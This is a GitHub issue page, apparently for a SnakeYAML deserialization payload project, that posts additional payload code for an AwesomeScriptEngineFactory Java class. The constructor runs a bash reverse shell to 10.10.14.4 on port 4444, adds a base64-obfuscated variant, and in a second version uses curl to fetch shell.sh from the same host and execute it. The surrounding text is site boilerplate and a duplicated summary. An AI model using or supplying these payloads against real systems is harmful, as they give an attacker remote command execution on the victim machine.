We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Additional Examples of Payloads: yaml-payload/src/artsploit/AwesomeScriptEngineFactory.java
public AwesomeScriptEngineFactory() { String [] cmd={"bash","-c","bash -i >& /dev/tcp/10.10.14.4/4444 0>&1"}; String [] jex={"bash","-c","{echo,$(echo -n $cmd | base64)}|{base64,-d}|{bash,-i}"}; try { Runtime.getRuntime().exec(cmd); Runtime.getRuntime().exec(jex); Runtime.getRuntime().exec("echo $jex"); } catch (IOException e) { e.printStackTrace(); } }
Putting a try-catch around every command:
public AwesomeScriptEngineFactory() { RunCmd("curl 10.10.14.4/shell.sh -o /tmp/shell.sh"); RunCmd("bash /tmp/shell.sh"); } public String RunCmd(String Cmd) { try { Runtime.getRuntime().exec(Cmd); } catch (IOException e) { e.printStackTrace(); } return null; }
The text was updated successfully, but these errors were encountered:
No branches or pull requests
Additional Examples of Payloads:
yaml-payload/src/artsploit/AwesomeScriptEngineFactory.java
Putting a try-catch around every command:
The text was updated successfully, but these errors were encountered: